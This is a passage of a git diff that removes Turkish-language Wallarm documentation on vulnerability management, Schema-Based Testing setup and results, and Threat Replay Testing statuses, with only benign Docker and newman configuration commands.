karşılaşırsanız, güvenlik açığı menüsündeki uygun seçeneği kullanarak bunu bildirebilirsiniz. Bu, Wallarm’ın güvenlik açığı tespitinin doğruluğunu artırmaya yardımcı olacaktır. Wallarm, güvenlik açığını yanlış pozitif olarak yeniden sınıflandırır, durumunu **Closed** olarak değiştirir ve daha fazla [yeniden kontrol](#verifying-vulnerabilities) uygulamaz. - -Güvenlik açıklarını yönetirken, güvenlik açığı durumlarını manuel olarak değiştirebilirsiniz. Ek olarak, Wallarm güvenlik açıklarını düzenli olarak [yeniden kontrol eder](#verifying-vulnerabilities) ve sonuçlara bağlı olarak güvenlik açıklarının durumunu otomatik olarak değiştirir. - -![Güvenlik açığı yaşam döngüsü](../images/user-guides/vulnerabilities/vulnerability-lifecycle.png) - -Güvenlik açığı yaşam döngüsündeki değişiklikler, güvenlik açığı değişiklik geçmişine yansıtılır. - -## Güvenlik açıklarını değerlendirme ve giderme - -Wallarm, her bir güvenlik açığı için risk düzeyini değerlendirmenize ve güvenlik sorunlarını ele almak için adımlar atmanıza yardımcı olan ayrıntılar sağlar: - -* Wallarm sistemindeki güvenlik açığının benzersiz tanımlayıcısı -* Güvenlik açığının istismar edilmesinin sonuçlarının tehlikesini gösteren risk seviyesi - - Wallarm, Common Vulnerability Scoring System (CVSS) çerçevesini, bir güvenlik açığının istismar edilme olasılığını, sistem üzerindeki potansiyel etkisini vb. kullanarak güvenlik açığı riskini otomatik olarak belirtir. Kendi benzersiz sistem gereksinimleriniz ve güvenlik öncelikleriniz doğrultusunda risk seviyesini kendi değerinize göre değiştirebilirsiniz. -* Güvenlik açığının [türü](../attacks-vulns-list.md); bu aynı zamanda güvenlik açığını istismar eden saldırı türlerine karşılık gelir -* Güvenlik açığının bulunduğu alan adı ve yol -* Güvenlik açığını istismar eden kötü amaçlı payload’ın geçirilebileceği parametre -* Güvenlik açığının [tespit edildiği](../about-wallarm/detecting-vulnerabilities.md#vulnerability-detection-methods) yöntem -* Güvenlik açığı istismar edilirse etkilenebilecek hedef bileşen; **Server**, **Client**, **Database** olabilir -* Güvenlik açığının tespit edildiği tarih ve saat -* Güvenlik açığının son [doğrulama tarihi](#verifying-vulnerabilities) -* Ayrıntılı güvenlik açığı açıklaması, istismar örneği ve önerilen giderme adımları -* İlgili olaylar -* Güvenlik açığı durumu değişiklik geçmişi - -Güvenlik açıklarını [arama dizesi](search-and-filters/use-search.md) ve ön tanımlı filtreleri kullanarak filtreleyebilirsiniz. - -![Güvenlik açığına ilişkin ayrıntılı bilgiler](../images/user-guides/vulnerabilities/vuln-info.png) - -Tüm güvenlik açıkları, sisteminizi kötü amaçlı eylemlere karşı daha savunmasız hale getirdiğinden uygulama tarafında düzeltilmelidir. Bir güvenlik açığı düzeltilemiyorsa, [virtual patch](rules/vpatch-rule.md) kuralını kullanmak ilgili saldırıları engellemeye ve olay riskini ortadan kaldırmaya yardımcı olabilir. - -## Verifying vulnerabilities - -Wallarm, hem aktif hem de kapatılmış güvenlik açıklarını düzenli olarak yeniden kontrol eder. Bu, daha önce keşfedilmiş bir güvenlik sorununa ilişkin altyapının tekrar test edilmesini içerir. Yeniden kontrol sonucunda güvenlik açığının artık mevcut olmadığı anlaşılıyorsa, Wallarm durumunu **Closed** olarak değiştirir. Bu, sunucu geçici olarak kullanılamıyorsa da meydana gelebilir. Tersine, kapatılmış bir güvenlik açığının yeniden kontrolü, uygulamada hâlâ mevcut olduğunu gösterirse, Wallarm durumunu tekrar **Active** olarak değiştirir. - -Aktif güvenlik açıkları ve bir aydan daha kısa süre önce düzeltilen güvenlik açıkları günde bir kez yeniden kontrol edilir. Bir aydan daha uzun süre önce düzeltilen güvenlik açıkları ise haftada bir kez yeniden kontrol edilir. - -Başlangıçtaki güvenlik açığı tespit yöntemine bağlı olarak, testler ya **API Attack Surface Management (AASM)** ya da **Threat Replay Testing** modülü tarafından gerçekleştirilir. - -Pasif olarak tespit edilen güvenlik açıklarının yeniden kontrol edilmesi mümkün değildir. - -Bir güvenlik açığını manuel olarak yeniden kontrol etmeniz gerekiyorsa, güvenlik açığı menüsündeki uygun seçeneği kullanarak yeniden kontrol sürecini tetikleyebilirsiniz: - -![Yeniden kontrol edilebilen bir güvenlik açığı](../images/user-guides/vulnerabilities/recheck-vuln.png) - -## Güvenlik açığı raporunu indirme - -Güvenlik açığı verilerini UI’daki ilgili düğmeyi kullanarak PDF veya CSV raporu olarak dışa aktarabilirsiniz. Wallarm, raporu belirtilen adrese e-posta ile gönderir. - -PDF, güvenlik açığı ve olay özetleriyle görsel olarak zengin raporlar sunmak için uygundur; CSV ise her bir güvenlik açığı hakkında ayrıntılı bilgi sağlayarak teknik amaçlar için daha uygundur. CSV; panolar oluşturmak, en savunmasız API host’ları/uygulamalarının bir listesini üretmek ve daha fazlası için kullanılabilir. - -## Güvenlik açıklarını almak için API çağrısı - -Güvenlik açığı ayrıntılarını almak için Wallarm Console UI’yı kullanmanın yanı sıra [Wallarm API’yi doğrudan çağırabilirsiniz](../api/overview.md). Aşağıda ilgili API çağrısına bir örnek bulunmaktadır. - -Son 24 saat içinde **Active** durumundaki ilk 50 güvenlik açığını almak için, aşağıdaki isteği kullanın ve `TIMESTAMP` değerini 24 saat önceki tarihin [Unix zaman damgası](https://www.unixtimestamp.com/) biçimine dönüştürülmüş haliyle değiştirin: - ---8<-- "../include/api-request-examples/get-vulnerabilities.md" \ No newline at end of file diff --git a/docs/latest-tr/vuln-scanning-best-practices-for-future.md b/docs/latest-tr/vuln-scanning-best-practices-for-future.md deleted file mode 100644 index 30bed15ccf..0000000000 --- a/docs/latest-tr/vuln-scanning-best-practices-for-future.md +++ /dev/null @@ -1,15 +0,0 @@ -Güvenlik Açıklarının Tespiti ve Mitigasyonu için En İyi Uygulamalar - -## Threat Replay Testing için en iyi uygulamaları izleyin - -Wallarm'ın [güvenlik açıklarını tespit etmek](../about-wallarm/detecting-vulnerabilities.md) için kullandığı yöntemlerden biri **Threat Replay Testing**'dir. - -**Threat Replay Testing**, saldırganları penetrasyon test uzmanlarına dönüştürmenize ve uygulamalarınızdaki/API'lerinizdeki güvenlik açıklarını yoklarken yaptıkları faaliyetlerden olası güvenlik sorunlarını keşfetmenize olanak tanır. Bu modül, trafikten alınan gerçek saldırı verilerini kullanarak uygulama uç noktalarını yoklayıp olası güvenlik açıklarını bulur. Varsayılan olarak bu yöntem devre dışıdır. - -[**Threat Replay Testing** modülünün yapılandırmasına yönelik en iyi uygulamaları öğrenin →](../vulnerability-detection/threat-replay-testing/setup.md) - - - -API Envanteri - -OWASP kapsamı \ No newline at end of file diff --git a/docs/latest-tr/vulnerability-detection/schema-based-testing/explore.md b/docs/latest-tr/vulnerability-detection/schema-based-testing/explore.md deleted file mode 100644 index 87ee321fbf..0000000000 --- a/docs/latest-tr/vulnerability-detection/schema-based-testing/explore.md +++ /dev/null @@ -1,45 +0,0 @@ -# Test Çalıştırma Sonuçlarını İnceleme - -[Şema Tabanlı Test](overview.md) etkinleştirildikten, test politikaları [yapılandırıldıktan](setup.md#configure-test-policies) ve bunlara dayalı testler [çalıştırıldıktan](setup.md#docker-run) sonra, test çalıştırma sonuçlarını bu makalede açıklandığı şekilde inceleyebilirsiniz. - -## Test çalıştırmaları ve sonuçları - -Wallarm Console'da, tüm test çalıştırmalarını ve sonuçlarını görmek için **Security Testing** → **Schema-Based** → **Test runs** bölümüne gidin. - -Burada, çalışma sırasında tespit edilen güvenlik sorunlarını, sağlık kontrollerini ve çalıştırmaya ait Docker çıktısını inceleyebilirsiniz: - -
              - -
              - -
              -
              - -## Test çalıştırması ayrıntıları - -Ayrıntılı teknik bilgilerini görmek için test çalıştırmasına tıklayarak genişletin: - -![Şema tabanlı güvenlik testi - test çalıştırması ayrıntıları](../../images/vulnerability-detection/apitp-test-run-details.png) - -Şunları kontrol edebilirsiniz: - -* Test çalıştırmasının sağlık durumu: spesifikasyon/Postman koleksiyonu geçerli mi ve çalışma başarılı oldu mu. -* Çalışma sırasında oluşan hata ve uyarılar (varsa). -* Docker container çıktısı (**Copy to clipboard** yeteneği ile). - -## Test çalıştırması JSON raporu - -Test çalıştırması menüsünden, test çalıştırmanızın raporunu JSON biçiminde almak için **Download JSON report** öğesini seçin. - -## Başlangıç dosyalarını indirme - -**Schema-Based Testing** sayfasından, OAS veya Postman tabanlı test politikaları oluşturmak için kullandığınız dosyaları indirebilirsiniz: - -* OAS: spesifikasyonu. -* Postman: Postman koleksiyon dosyası, kullanıldıysa Postman ortam dosya(ları) - -Dosyaları indirmek için: - -1. Wallarm Console'da **API Security Testing** → **Schema-Based** → **Test policies** sekmesine gidin. -1. Politikanızın üzerine gelin ve düzenleme simgesine tıklayın. Politika düzenleme iletişim kutusu görüntülenir. -1. İlgili dosya alanında indirme simgesine tıklayın. \ No newline at end of file diff --git a/docs/latest-tr/vulnerability-detection/schema-based-testing/overview.md b/docs/latest-tr/vulnerability-detection/schema-based-testing/overview.md deleted file mode 100644 index c5195adc77..0000000000 --- a/docs/latest-tr/vulnerability-detection/schema-based-testing/overview.md +++ /dev/null @@ -1,64 +0,0 @@ -# Schema-Based Testing - -Wallarm'ın Schema-Based Testing özelliği, uygulamalarınızı ve API'lerinizi dinamik güvenlik testlerine tabi tutarak, kapsamlı ve otomatik testler aracılığıyla hem OWASP Top 10 hem de OWASP API Security Top 10’da yer alanlar dahil geniş bir yelpazedeki güvenlik açıklarını tespit etmek üzere tasarlanmıştır. - -Schema-Based Testing yetenekleri: - -* API uç noktalarının derin ve dinamik analizi. -* Uygulamanın veya API’nin kendisindeki güvenlik açıklarının yanı sıra, altında yatan altyapı veya ortamda bulunan güvenlik yanlış yapılandırmalarının tespiti. -* Bulunan sorunların Wallarm Console içindeki [**Security Issues**](../../api-attack-surface/security-issues.md) bölümünde görselleştirilmesi. -* Docker konteyneri aracılığıyla hafif çalıştırma. - -![Schema-Based Testing - test runs](../../images/vulnerability-detection/sbt-test-runs.png) - -## Nasıl çalışır - -Schema-Based Testing’i aşağıdaki adımları yerine getirerek kullanın: - -1. **Create test policy**: hedef uygulamayı belirtin, OpenAPI spesifikasyonunu veya Postman koleksiyonunu, temel URL’yi sağlayın ve çalıştırılacak testleri seçin. -1. **Docker komutunu kopyalayın**: **Test policies** sekmesinde test policy’nizi bulun, tıklayın ve sağlanan Docker komutunu kopyalayın. -1. **Çalıştırın ve izleyin**: ajanı komutla başlatın. İlerlemeyi takip edin ve sonuçları **Test runs** sekmesinde görüntüleyin. - -![Schema-Based Testing - how it works](../../images/vulnerability-detection/sbt-diagram.png) - -## Test temeli - -Schema-Based Testing testlerini şu temellere dayandırabilir: - -* **OpenAPI spesifikasyonu (OAS)** - API’nizin kesin ve makine tarafından okunabilir taslağı, uygulamanız için verimli ve güvenilir bir test seti oluşturmayı sağlar. OAS tabanlı testler, girdi doğrulama, enjeksiyon ve yanlış yapılandırma tespitine odaklanır. -* **Postman koleksiyonu** - [**Postman**](https://www.postman.com/) API tasarım platformunu kullanıyorsanız, [*koleksiyonlarındaki*](https://www.postman.com/product/collections/) **işlevsel testler** eşzamanlı olarak güvenlik testleri oluşturmak için kullanılabilir. [Ayrıntılar](setup.md#postman-collection-based). Postman koleksiyonu tabanlı testler, karmaşık iş mantığı ve erişim kontrolü zafiyetlerine odaklanır. - - !!! warning "Geçici kısıtlama" - Postman koleksiyonlarına dayalı yeni politikalar oluşturma geçici olarak kullanılamıyor. Daha önce Postman koleksiyonları kullanılarak oluşturulan mevcut politikalar beklendiği gibi çalışmaya devam etmektedir. - -## Test türleri - -OpenAPI spesifikasyonu tabanlı testler için, Schema-Based Testing güvenlik sorunlarını tespit etmek üzere üç tür testi kullanır: - -* **Ortam yanlış yapılandırma testleri**, uygulamanın ve API’lerin çalıştığı ortam veya altyapıdaki (API mantığı değil) güvenlik açıklarını ve yanlış yapılandırmaları kontrol eder. Örnekler: - - * Açığa çıkarılmış kaynak kodu, yedekler, yapılandırma dosyaları. - * Erişilebilir `.git`, `.env` veya sistem dosyaları. - * Güvensiz web sunucusu ayarları (ör. dizin listeleme, zayıf TLS). - -* **GraphQL zafiyet tespiti**, en popüler 10 GraphQL yanlış yapılandırmasını kontrol eder (API2, API4). - -* **Girdi parametresi testleri**, OpenAPI spesifikasyonunda tanımlanan her bir giriş noktasını (parametreler, başlıklar vb.) uygulama düzeyindeki güvenlik açıkları için kontrol eder. Kapsanan zafiyetler: - - * Komut enjeksiyonu - * CRLF enjeksiyonu - * LFI / RFI - * NoSQL enjeksiyonu - * Açık yönlendirme (Open redirect) - * Yol geçişi (Path traversal) - * Uzak kod yürütme (RCE) - * SQL enjeksiyonu - * SSRF - * SSTI - * XSS - * XXE - * Bilgi sızıntısı - -## Etkinleştirme ve kurulum - -Schema-Based Testing’i kullanmaya başlamak için, [Schema-Based Testing Kurulumu](setup.md) belgesinde açıklandığı şekilde etkinleştirip yapılandırın. \ No newline at end of file diff --git a/docs/latest-tr/vulnerability-detection/schema-based-testing/setup.md b/docs/latest-tr/vulnerability-detection/schema-based-testing/setup.md deleted file mode 100644 index 076ed0cb95..0000000000 --- a/docs/latest-tr/vulnerability-detection/schema-based-testing/setup.md +++ /dev/null @@ -1,177 +0,0 @@ -# Şema Tabanlı Test Kurulumu - -Bu makale, Wallarm'ın [Şema Tabanlı Testini](overview.md) nasıl etkinleştireceğinizi ve yapılandıracağınızı açıklar. - -## Etkinleştirme - -Şema Tabanlı Test varsayılan olarak devre dışıdır. Etkinleştirmek için: - -1. Hesabınız için [**Security Testing** abonelik planını](../../about-wallarm/subscription-plans.md#core-subscription-plans) etkinleştirmesi için sales@wallarm.com ile iletişime geçin. -1. **Security Testing** → **Schema-Based** → **Test policies** sekmesine gidin ve [en az bir politika](#configure-test-policies) oluşturun. - -## Önkoşullar - token - -Şema Tabanlı Test, çalışan Docker konteyneri ile Wallarm Cloud arasında veri alışverişinin yetkilendirilmesi için bir [token](../../user-guides/settings/api-tokens.md) gerektirir. Token iki şekilde oluşturulabilir: - -* **Otomatik** - Şema Tabanlı Test, herhangi bir politikadan Docker komutunu ilk kez kopyalama girişiminde token'ı otomatik olarak oluşturacak ve `docker run` komutuna ekleyecektir. Diğer politikalar mevcut token'ı yeniden kullanacaktır. -* **Manuel** - Wallarm Console içinde **Settings** → **API Tokens** yoluna gidin, **New token**'a tıklayın; oluştururken, **Token usage** değerini `Schema-Based Testing agent` olarak ayarlayın. Tüm politikalar bu token'ı kullanacaktır. - -## Test politikalarını yapılandırma - -Bir test politikasını OpenAPI spesifikasyonuna (OAS) veya Postman koleksiyonuna [temelli](overview.md#test-basis) olarak yapılandırabilirsiniz. Dikkat edin, bir test politikası yalnızca tek bir test türüne yöneliktir (ya OAS ya da Postman tabanlı). - -* OAS, girdi doğrulama, enjeksiyon ve yanlış yapılandırma tespitine daha odaklıdır -* Postman, karmaşık iş mantığı ve erişim kontrol zafiyetlerine odaklanır - -### OAS tabanlı - -OpenAPI spesifikasyonu (OAS) tabanlı test politikası, kalıcı olarak şunları tanımlar: - -* Uygulamanın **OpenAPI spesifikasyonu** -* Çalıştırılacak testler - -Her test çalışması için aynı olan kalıcı parametrelerin yanı sıra, her test politikası, her bir sonraki test çalışması sırasında yeniden tanımlanabilen isteğe bağlı parametreler (**Runtime parameters**) içerebilir. Çalışma zamanı parametrelerini yeniden tanımlamak, Docker'ı CI/CD hatlarına gömmek için kullanışlı olabilir: - -* Uygulamanın **Target URL** değeri - - (her çalıştırmada yeniden tanımlanabilse de, bazı başlangıç değerleri gereklidir) - -* Kimlik doğrulama parametreleri - -Test politikasını yapılandırmak için: - -1. Wallarm Console → **Security Testing** → **Schema-Based** → **Test policies** yoluna gidin. -1. **Add policy**'ye tıklayın, OpenAPI spesifikasyon dosyasını ekleyin. -1. Çalıştırılacak [test türlerini](overview.md#test-types) seçin. -1. **Target URL** değerini belirleyin (her test çalışmasında dinamik olarak yeniden tanımlanabilir). -1. İsteğe bağlı olarak kimlik doğrulama **Runtime parameters** ekleyin. - - ![Şema Tabanlı Test - OpenAPI spesifikasyonuna dayalı test politikası oluşturma](../../images/vulnerability-detection/sbt-policy-create.png) - -### Postman koleksiyonu tabanlı - -!!! warning "Geçici kısıtlama" - Postman koleksiyonlarına dayalı yeni politikalar oluşturma geçici olarak kullanılamıyor. Daha önce Postman koleksiyonları kullanılarak oluşturulan mevcut politikalar beklendiği gibi çalışmaya devam etmektedir - yalnızca yeni Postman tabanlı politikaların oluşturulması şu anda devre dışıdır. - -Postman tabanlı güvenlik testi ile düzenli API testlerinizle birlikte güvenlik taramalarını otomatikleştirerek her API çalıştırmasının zafiyetlere karşı kapsamlı şekilde test edildiğinden emin olabilirsiniz. - -!!! info "Temel olarak API fonksiyonel testleri" - Wallarm'ın şema tabanlı testi, güvenlik testleri üretmek için fonksiyonel testlerinizi kullanır. Fonksiyonel testleriniz ne kadar kapsamlıysa, Wallarm'ın sağlayabileceği güvenlik kapsamı o kadar geniş olur. Daha fazla API, kullanıcı ve istek, daha zengin ve etkili güvenlik testi demektir. - -#### Postman koleksiyonunun ön kontrolü - -Şema tabanlı güvenlik testi için Postman verilerini kullanmadan önce: - -1. Koleksiyon ve ortam dosyalarınızın şunları içerdiğinden emin olun: - - * API uç noktaları için fonksiyonel testler - * hedef uygulamanın konumu - * tüm ortam değişkenlerinin ayarlanmış olması - * hedef uygulamada kimlik doğrulamak için gerekli kimlik bilgileri - -1. (Önerilir) Postman koleksiyonunun tamamen çalışıp çalışmadığını kontrol edin. Örneğin, şu komutu çalıştırarak yapılabilir: - - ``` - newman run my_collection.json -e my_environment.json - ``` - - Bu, önceden size Postman koleksiyonunun kalitesi, hedef URL'nin erişilebilirliği veya gerekli tüm değişkenlerin belirtilip belirtilmediği gibi konularda herhangi bir sorun olup olmadığını söyleyebilir. - -!!! warning "Geçerli Postman koleksiyonu" - Postman koleksiyonunun kendisi çalışamıyorsa, şema tabanlı güvenlik testi de çalışmayacaktır. - -#### Wallarm'da test politikasını yapılandırma - -Wallarm'da, Postman koleksiyonu tabanlı test politikası şunları tanımlar: - -* Uygulamanın **Postman koleksiyonu**. -* **Postman ortam dosyaları** (tüm yapılandırma ana koleksiyon dosyasında tutuluyorsa isteğe bağlıdır). - - !!! info "Target URL ve kimlik doğrulama" - Uygulamanın **Target URL** ve kimlik doğrulama parametreleri Postman koleksiyonu veya ortam dosyalarında tanımlanır. - -* Postman koleksiyonlarına dayalı güvenlik testi için test vaka seçimi şu anda desteklenmemektedir. - -Test politikasını yapılandırmak için: - -1. Wallarm Console → **Security Testing** → **Schema-Based** → **Test policies** yoluna gidin. -1. **Add policy**'ye tıklayın, **Source** değerini **Postman collection** olarak ayarlayın. -1. Postman koleksiyon dosyasını ekleyin. -1. İsteğe bağlı olarak Postman ortam dosyalarını ekleyin. 2 dosya eklemek, farklı değişken değerleriyle (örneğin, farklı kimlik bilgileri) testi iki kez çalıştırmayı ve ardından sonuçları karşılaştırmayı sağlar. - - ![Şema Tabanlı Test - Postman koleksiyonuna dayalı test politikası oluşturma](../../images/vulnerability-detection/sbt-policy-create-postman.png) - -#### İş mantığı güvenlik testi - -İş mantığı testleri için ([OWASP API1:2023 Nesne Düzeyi Yetkilendirmenin Bozulması (BOLA)](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md) ve [OWASP API5:2023 Fonksiyon Düzeyi Yetkilendirmenin Bozulması (BFLA)](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa5-broken-function-level-authorization.md)) Wallarm'ın Şema Tabanlı Güvenlik Testi, tercihen farklı ayrıcalık seviyelerine sahip (ör. yönetici ve normal kullanıcılar) en az iki farklı kimliği doğrulanmış kullanıcıdan API trafiği gerektirir. Bu çeşitlilik, daha etkili iş mantığı güvenlik testlerini mümkün kılar ve daha kapsamlı bir değerlendirme sağlar. - -| İş mantığı zafiyeti | Girdi gereksinimleri | -| ---- | ---- | -| [OWASP API1:2023 Nesne Düzeyi Yetkilendirmenin Bozulması (BOLA)](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md) | Bu zafiyetin test edilmesi, uygun nesne düzeyi yetkilendirme kontrollerinin mevcut olup olmadığını göstermek için birden fazla kimliği doğrulanmış kullanıcı gerektirir. | -| [OWASP API5:2023 Fonksiyon Düzeyi Yetkilendirmenin Bozulması (BFLA)](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa5-broken-function-level-authorization.md) | Bu zafiyetin test edilmesi, fonksiyon düzeyi yetkilendirmenin tutarlı şekilde uygulanıp uygulanmadığını değerlendirmek için farklı ayrıcalık seviyelerine sahip kullanıcıların isteklerini gerektirir. | - -##### Örnek 1: İki kullanıcıdan gelen istekleri içeren Postman koleksiyonları kullanma - -Şunları yapın: - -1. İki kimliği doğrulanmış kullanıcıdan gelen istekleri içeren bir Postman koleksiyonu oluşturun. Örneğin, hedef uygulamada aynı koleksiyonda `Kullanıcı A` ve `Kullanıcı B`'den oturum açma ve aktivite isteklerini dahil edin. - - ![Postman koleksiyonu - 2 kullanıcı işlemleri](../../images/vulnerability-detection/posman-collection-2-users.png) - -1. Tüm isteklerin doğru şekilde yürütüldüğünü doğrulayın. -1. Oluşturduğunuz Postman koleksiyonu ile bir test politikası oluşturun. - -##### Örnek 2: Birden çok kullanıcı için Postman ortamlarını kullanma - -Şunları yapın: - -1. Her biri farklı bir kimliği doğrulanmış kullanıcıya ait kimlik bilgilerini tutan iki Postman ortam dosyası oluşturun, örneğin: - - * `env1.json` → `Kullanıcı A` - * `env2.json` → `Kullanıcı B` - -1. Postman koleksiyonunuzu ve her iki ortam dosyasını kullanan bir test politikası oluşturun. - - Bu yapılandırmada, koleksiyon iki kez çalıştırılır - bir kez `env1.json` (`Kullanıcı A`) ve bir kez `env2.json` (`Kullanıcı B`) ile - böylece her istek her iki kullanıcı bağlamında da çalışır. - -### Mevcut politikayı düzenleme - -Önceden oluşturulmuş politikaları düzenleyebilirsiniz: doğrudan politikaya tıklamak Docker komut bilgilerini açarken, düzenleme iletişim kutusuna erişmek için düzenle düğmesine tıklayabilirsiniz: - -![Şema Tabanlı Test - test politikasını düzenleme](../../images/vulnerability-detection/sbt-policy-edit.png) - -## Docker çalıştırma - -Test politikası [oluşturulduğunda](#configure-test-policies), uygulamanız için testleri başlatmanızı sağlayan Docker çalıştırma komutunu size sunar: - -1. Wallarm Console → **Security Testing** → **Schema-Based** → **Test policies** yoluna gidin. -1. Politikanıza tıklayın. Politikanın Docker komutu görüntülenecektir. - - ![Şema Tabanlı Test - test politikası Docker komutu](../../images/vulnerability-detection/sbt-policy-docker-command.png) - -1. Gerekirse, Docker günlük düzeyi ve biçimini yeniden tanımlayın. -1. Komutu kopyalayın ve çalıştırın veya CI/CD hattınıza gömün. Bu, politikanızda seçilen güvenlik testlerini uygulamanız için çalıştıracaktır. - - OAS tabanlı çalıştırma için, Docker `run` komutuna ilgili `-e` parametrelerini ekleyerek her çalıştırmada politikanın **Runtime parameters** değerlerini yeniden tanımlayabileceğinizi unutmayın, örneğin: - - ``` - -e TARGET_URL="http://dvapi.st.wallarm.tools" - -e AUTH_HEADER="Authorization: Bearer " - ``` - - Bu parametreleri yeniden tanımlamayı, komuta şunları ekleyen **Rewrite authentication data** ve/veya **Rewrite target URL** onay kutularını seçerek kolaylaştırabilirsiniz: - - ``` - -e AUTH_HEADER="${AUTH_HEADER}" -e TARGET_URL="${TARGET_URL}" - ``` - -1. **Test runs** sekmesinde çalıştırma istatistiklerini ve [test çalıştırma sonuçlarını](explore.md) görüntüleyin. - -## Politikaları silme - -Bir test politikasını silebilirsiniz. Bunu yaparsanız: - -* Önceki test çalıştırmalarına ilişkin bilgiler olduğu gibi kalır -* Silinen politika temelinde Docker komutunu çalıştıramazsınız -* Politikanın Docker konteynerleri çalışıyorsa, çalışmaya devam ederler -* Politikanın Docker konteynerleri durduğunda, bunları yeniden çalıştıramazsınız \ No newline at end of file diff --git a/docs/latest-tr/vulnerability-detection/security-testing-overview.md b/docs/latest-tr/vulnerability-detection/security-testing-overview.md deleted file mode 100644 index c401c68d7f..0000000000 --- a/docs/latest-tr/vulnerability-detection/security-testing-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/security-testing-overview.md" \ No newline at end of file diff --git a/docs/latest-tr/vulnerability-detection/threat-replay-testing/exploring.md b/docs/latest-tr/vulnerability-detection/threat-replay-testing/exploring.md deleted file mode 100644 index bd342cd135..0000000000 --- a/docs/latest-tr/vulnerability-detection/threat-replay-testing/exploring.md +++ /dev/null @@ -1,48 +0,0 @@ -[al-brute-force-attack]: ../../attacks-vulns-list.md#brute-force-attack -[al-forced-browsing]: ../../attacks-vulns-list.md#forced-browsing -[al-bola]: ../../attacks-vulns-list.md#broken-object-level-authorization-bola - -# Threat Replay Testing Sonuçlarını Keşfetme - -[Threat Replay Testing](overview.md) etkinleştirilip yapılandırıldıktan sonra, bu makalede açıklandığı şekilde gerçekleştirilen testleri ve sonuçlarını inceleyebilirsiniz. - -## Testler ve sonuçlar - -Wallarm Console içinde, **Security Testing** → **Threat Replay** → **Tests** sekmesine giderek gerçekleştirilen testlerin listesini ve sonuçlarını ([**Status**](#possible-statuses) sütunu) görebilirsiniz. - -![TRT - Tests sekmesi](../../images/vulnerability-detection/trt-tests.png) - -Şunları yapabilirsiniz: - -* **Attack** sütunundaki yönlendirme simgesine tıklayarak testleri tetikleyen ilk saldırıyı görüntüleyin. **Attacks** bölümü açılarak ilk saldırı gösterilir. -* **Status** sütunundaki yönlendirme simgesine tıklayarak bulunan güvenlik açığını (varsa) görüntüleyin. - -## Olası durumlar - -Test sonuçları: - -* **No vulnerabilities found**: test, bu saldırı türüne karşı hedefin savunmasız olmadığını belirledi. -* **Vulnerabilities found**: test, hedefin bu saldırı türüne karşı savunmasız olduğunu belirledi. Güvenlik açığı oluşturulur ve **Vulnerabilities** sekmesinde listelenir. - -Teknik durumlar: - -* **Scheduled**: saldırı doğrulama için kuyruğa alındı. -* **In-progress**: saldırı şu anda gerçekleşiyor; tamamlandığında doğrulanacaktır. -* **Error**: sunucuya erişilememesi, hatalı yapılandırılmış test politikası veya Threat Replay Testing içindeki herhangi bir dahili sorun nedeniyle oluşabilir. - -## Bulunan güvenlik açıkları - -Wallarm Console içinde, **Security Testing** → **Threat Replay** → **Vulnerabilities** sekmesine giderek Threat Replay Testing tarafından bulunan güvenlik açıklarının listesini görebilirsiniz. - -![TRT - Vulnerabilities sekmesi](../../images/vulnerability-detection/trt-vulns.png) - -Şunları yapabilirsiniz: - -* Güvenlik açıklarına, etki alanlarına veya yollara göre arama yapın. -* Risk düzeyine, saldırı türüne, güvenlik açığı durumuna ve keşfedildiği tarihe göre filtreleyin. -* Ayrıntılı açıklamasını görmek için güvenlik açığına tıklayın. -* Güvenlik açığının risk düzeyini değiştirin. -* Güvenlik açığını kapatın veya yeniden açın. -* Güvenlik açığını yanlış pozitif olarak işaretleyin. - -![TRT - Vulnerabilities sekmesi - güvenlik açığı ayrıntıları](../../images/vulnerability-detection/trt-vuln-details.png) \ No newline at end of file diff --git a/docs/latest-tr/vulnerability-detection/threat-replay-testing/overview.md b/docs/latest-tr/vulnerability-detection/threat-replay-testing/overview.md deleted file mode 100644 index 2ada759c30..0000000000 --- a/docs/latest-tr/vulnerability-detection/threat-replay-testing/overview.md +++ /dev/null @@ -1,88 +0,0 @@ -[al-brute-force-attack]: ../../attacks-vulns-list.md#brute-force-attack -[al-forced-browsing]: ../../attacks-vulns-list.md#forced-browsing -[al-bola]: ../../attacks-vulns-list.md#broken-object-level-authorization-bola -[img-verification-statuses]: ../../images/user-guides/events/attack-verification-statuses.png -[img-verified-icon]: ../../images/user-guides/events/verified.png -[img-error-icon]: ../../images/user-guides/events/error.png#mini -[img-forced-icon]: ../../images/user-guides/events/forced.png#mini -[img-sheduled-icon]: ../../images/user-guides/events/sheduled.png#mini -[img-cloud-icon]: ../../images/user-guides/events/cloud.png#mini -[img-skip-icon]: ../../images/user-guides/events/skipped.png#mini -[img-happening-icon]: ../../images/user-guides/events/happening.png#mini - -# Threat Replay Testing - -Gerçek dünyadan gelen saldırıları zararsız güvenlik testleri olarak yeniden oynatarak, Wallarm'ın Threat Replay Testing özelliği, geleneksel güvenlik test araçlarının gözden kaçırabileceği uygulama ve API'lerdeki güvenlik açıklarını bulma zorluğunu ele alır. - -Threat Replay Testing yetenekleri: - -* Gerçek zamanlı analiz: Gerçek saldırı verilerini kullanarak hâlihazırda istismar edilen veya gelecekte istismar edilme potansiyeli olan güvenlik açıklarını belirler. -* Kapsamlı test: Gerçek saldırıların [varyasyonlarını üretip](#how-it-works) farklı saldırı vektörlerini keşfeder ve orijinal saldırganların gözden kaçırmış olabileceği zayıflıkları ortaya çıkarır. -* Güvenli simülasyon: Test isteklerinden zararlı kodu ve hassas kimlik doğrulama ayrıntılarını [çıkarır](#test-request-security), böylece test süreci herhangi bir hasara yol açmaz veya sistemleri tehlikeye atmaz. -* Canlı dışı test: Üretim verilerini veya sistem kararlılığını riske atmadan, uygulamaları ve API'leri güvenli bir ortamda (genellikle staging) test etmeye olanak tanır. - -![TRT - Tests tab](../../images/vulnerability-detection/trt-tests.png) - -## Nasıl çalışır - -Threat Replay Testing modülü Wallarm Cloud üzerinde çalışır. İlk olarak, modül [Security Edge](../../installation/security-edge/overview.md) veya [self-hosted](../../installation/supported-deployment-options.md) filtreleme düğümünün tespit edip Cloud'a yüklediği kötü amaçlı istekler hakkında ayrıntılı bilgi toplar. Bu verilerden yararlanarak, modül dinamik olarak yaklaşık 100-150 test isteğinden oluşan bir set üretir. Bu test istekleri, kötü amaçlı isteklerle aynı zafiyet türlerini hedefler ancak farklı payload'lar 